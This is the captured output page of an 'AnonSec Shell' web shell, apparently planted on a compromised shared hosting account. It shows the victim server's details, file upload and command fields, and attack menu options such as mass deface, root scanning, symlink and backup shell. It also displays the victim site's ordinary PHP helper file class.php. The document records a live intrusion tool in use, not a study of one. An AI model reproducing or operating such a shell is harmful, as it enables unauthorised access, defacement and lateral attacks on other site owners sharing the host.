AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/mybackend/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/mybackend/include//class.php
<?php session_start(); ?>
<?php require_once("../include/check.php");?>
<?php
require_once("../../class72/actionClass.php");
require_once("../../class72/view_Class.php");
require_once("../../class72/imageClass.php");
require_once("../../class72/util_Class.php");
require_once("../../class72/user_Class.php");
require_once("../../class72/phone_Class.php");
require_once("../../class72/runid_Class.php");

$actiondata_db = new actiondata;
$view_db = new Viewdata;
$image_class = new imageClass;
$util_class = new Util;
$User_db = new User;
$Phone_class = new Phone;
$runid_class = new Runid;



$upload ='../../redbag/';
$dealerprices = '5';
$date = date("Y-m-d H:i:s");
$domain = "http://$_SERVER[HTTP_HOST]/simded/";

function delete_directory($dirname) {
		 if (is_dir($dirname))
		   $dir_handle = opendir($dirname);
	 if (!$dir_handle)
		  return false;
	 while($file = readdir($dir_handle)) {
		   if ($file != "." && $file != "..") {
				if (!is_dir($dirname."/".$file))
					 unlink($dirname."/".$file);
				else
					 delete_directory($dirname.'/'.$file);
		   }
	 }
	 closedir($dir_handle);
	 rmdir($dirname);
	 return true;
}

function copydir($source,$destination)
{
	if(!is_dir($destination))
	{
		$oldumask = umask(0); 
		mkdir($destination, 01777); // so you get the sticky bit set 
		umask($oldumask);
	}
	$dir_handle = @opendir($source) or die("Unable to open");
	while ($file = readdir($dir_handle)) 
	{
		if($file!="." && $file!=".." && !is_dir("$source/$file")) //if it is file
			copy("$source/$file","$destination/$file");
		if($file!="." && $file!=".." && is_dir("$source/$file")) //if it is folder
			copydir("$source/$file","$destination/$file");
	}
	closedir($dir_handle);
}
function Writefile($strFileName,$shop_id)
{
	$objFopen = fopen($strFileName, 'w');
			
	$strText1 = "<?php\r\n";
	fwrite($objFopen, $strText1);
	
	$strText2 = "$"."shop_id = '".$shop_id."';\r\n";
	fwrite($objFopen, $strText2);
	
	$strText3 = "?> \r\n";
	fwrite($objFopen, $strText3);
	
	if($objFopen)
	{
		$re =  true;
	}
	else
	{
		$re = false;
	}
	
	fclose($objFopen);
	return $re;
}
function page_news($page_number,$total_pages,$url,$get)
{
	?>
		<nav aria-label="Page navigation">
		<ul class="pagination">
		<li <?php  if($page_number == 0){?>class="active"<?php }?>><a href="<?php echo $url; ?>?page_number=0<?php echo $get; ?>">1</a></li><?php
		if($total_pages >= 7)
		{
			$n = $page_number-1;
			if($n < 0){$n = 0;}
			?><li><a href="<?php echo $url; ?>?page_number=<?php echo $n ?><?php echo $get; ?>"> << </a></li><?php
		}
		if($total_pages >= 7)
		{
			$p_end = $total_pages - 3;
			if($page_number > 3 && $page_number >=  $p_end)
			{
				$lop_p = $total_pages-1;
				$start_p = $p_end-1;
			}else{
				if($page_number == 0){
					$start_p = 1;
					$lop_p = 4;
				}
				else{
					$start_p = $page_number;
					$lop_p = $page_number+3;
				}
			}
		}else{ $lop_p = $total_pages - 1; $start_p = 1;}
		for($a=$start_p;$a<=$lop_p;++$a)
		{
			$b = $a + 1 ;
			if($a==$page_number)
			{
				?><li class="active"><a href="<?php echo $url; ?>?page_number=<?php echo $a?><?php echo $get; ?>" ><?php echo $b; ?></a></li><?php
			}
			else
			{
				?><li><a href="<?php echo $url; ?>?page_number=<?php echo $a?><?php echo $get; ?>" ><?php echo $b; ?></a></li><?php
			}
		}
		if($total_pages >= 7)
		{
			$p = $page_number+1;
			if($p >= $total_pages){$p = $total_pages;}
			?><li><a href="<?php echo $url; ?>?page_number=<?php echo $p ?><?php echo $get; ?>"> >> </a></li><?php
		}
		if($total_pages > 0)
		{
			?><li <?php  if($page_number == $total_pages){?>class="active"<?php }?>>
			<a href="<?php echo $url; ?>?page_number=<?php echo $total_pages ?><?php echo $get; ?>"><?php echo  $total_pages+1 ?></a></li><?php
		}
		?>
		</ul>
	</nav>
	<?php
}


?>

Anon7 - 2022
AnonSec Team